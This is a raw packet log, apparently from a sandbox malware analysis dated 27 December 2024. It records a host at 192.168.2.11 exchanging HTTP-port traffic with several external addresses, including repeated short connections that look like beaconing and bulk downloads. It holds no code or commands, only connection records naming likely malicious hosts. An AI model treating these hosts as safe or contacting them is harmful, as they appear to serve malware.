Dec 27, 2024 09:02:51.018277884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018348932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.018471003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018723965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018774033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.018871069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018883944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018896103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018910885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018918037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.018932104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.018948078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.018970013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.019727945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.019748926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.019764900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.019804955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.019844055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.019867897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.019912004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.029131889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029150963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029159069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029221058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.029263020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029284954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029299974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029325008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.029473066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029503107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029517889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029524088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.029566050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.029619932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029623032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029630899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.029670000 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.030379057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.030455112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.030508041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.124865055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.124886990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.124902964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.124952078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.124989986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125015974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125030041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125058889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.125088930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.125236034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125276089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125292063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125324011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.125477076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125494003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125509977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.125559092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.125897884 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.126097918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126202106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126223087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126267910 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.126337051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126352072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126368046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.126414061 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.127032995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127088070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127103090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127150059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.127357960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127401114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127419949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127451897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.127470016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.127942085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.127984047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128000021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128045082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.128138065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128153086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128170013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128197908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.128207922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.128914118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128928900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128945112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.128978968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.129017115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130187988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.130439997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130574942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130589962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130605936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130635023 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.130661964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.130688906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130705118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130748987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.130912066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130955935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130971909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.130996943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.131094933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131110907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131128073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131175041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.131635904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131685019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131700039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131736994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.131795883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131812096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131827116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.131835938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.131891966 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.132621050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132637978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132653952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132687092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.132757902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132772923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132790089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.132821083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.132833958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.133461952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133558989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133579016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133611917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133616924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.133627892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133644104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.133651018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.133688927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.134414911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.134430885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.134447098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.134478092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.134480953 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.134529114 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218118906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218189955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218206882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218223095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218240023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218251944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218257904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218267918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218298912 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218496084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218564987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218660116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218677998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218696117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218707085 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218710899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.218733072 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218751907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.218796968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219444990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219494104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.219610929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219630003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219672918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.219690084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219706059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219723940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.219746113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.220488071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220508099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220535994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220560074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.220575094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.220613003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220630884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220647097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.220685959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.221329927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.221390963 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.221430063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230431080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230454922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230480909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230504036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.230515957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230520010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.230532885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230550051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230571985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.230858088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230901003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.230905056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230932951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.230976105 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.231149912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.231168032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.231184006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.231211901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.231710911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.231755018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.231867075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:51.277697086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:51.840919018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:52.636228085 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:03:04.757189035 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:04.876729965 CET	80	49831	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:04.878388882 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:05.128814936 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:05.250288010 CET	80	49831	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:06.220146894 CET	80	49831	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:06.222208023 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.731578112 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.731890917 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.852478981 CET	80	49840	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:07.852494955 CET	80	49831	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:07.852761984 CET	49831	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.853168964 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.853169918 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:07.973198891 CET	80	49840	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:09.252074003 CET	80	49840	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:09.252167940 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:10.872277021 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:10.872606039 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:10.992095947 CET	80	49846	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:10.992531061 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:10.992724895 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:10.995590925 CET	80	49840	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:10.998121977 CET	49840	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:11.112270117 CET	80	49846	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:12.379826069 CET	80	49846	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:12.380402088 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:13.893991947 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:13.901237011 CET	49854	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:14.013998032 CET	80	49846	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:14.014055014 CET	49846	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:14.020914078 CET	80	49854	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:14.020981073 CET	49854	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:14.021147013 CET	49854	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:14.140778065 CET	80	49854	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:18.028002024 CET	49854	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:19.657223940 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:19.776935101 CET	80	49868	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:19.777084112 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:19.777290106 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:19.896987915 CET	80	49868	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:22.191143036 CET	80	49868	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:22.191447020 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.700427055 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.700782061 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.820231915 CET	80	49868	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:23.820255041 CET	80	49879	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:23.820439100 CET	49868	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.820439100 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.820583105 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:23.940001011 CET	80	49879	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:25.289129019 CET	80	49879	185.215.113.43	192.168.2.11
Dec 27, 2024 09:03:25.289223909 CET	49879	80	192.168.2.11	185.215.113.43
Dec 27, 2024 09:03:25.298549891 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:25.418117046 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:25.418354034 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:25.419306040 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:25.539874077 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.744822025 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.744858027 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.744895935 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.744957924 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.744971037 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745018005 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745122910 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.745163918 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.745491982 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745503902 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745553017 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.745595932 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745637894 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.745665073 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.745708942 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.864659071 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.864758015 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.864775896 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.864804983 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.868880987 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.868936062 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.868962049 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.869007111 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.877235889 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.877305031 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.937067986 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.937123060 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.937130928 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.937161922 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.941221952 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.941346884 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.941370964 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.941415071 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.949635029 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.949711084 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.949723959 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.949754000 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.957962990 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.958030939 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.958086014 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.958131075 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.966358900 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.966425896 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.966448069 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.966485023 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.974684954 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.974747896 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.974783897 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.974826097 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.983062983 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.983124971 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.983208895 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.983249903 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.991451025 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.991499901 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.991566896 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.991604090 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.999861002 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.999919891 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:26.999939919 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:26.999979973 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.008244991 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.008294106 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.008328915 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.008371115 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.016599894 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.016642094 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.016729116 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.016771078 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.024997950 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.025055885 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.025072098 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.025119066 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.129043102 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.129149914 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.129273891 CET	49880	80	192.168.2.11	31.41.244.11
Dec 27, 2024 09:03:27.131263971 CET	80	49880	31.41.244.11	192.168.2.11
Dec 27, 2024 09:03:27.131324053 CET	49880	80	192.168.2.11	31.41.244.11
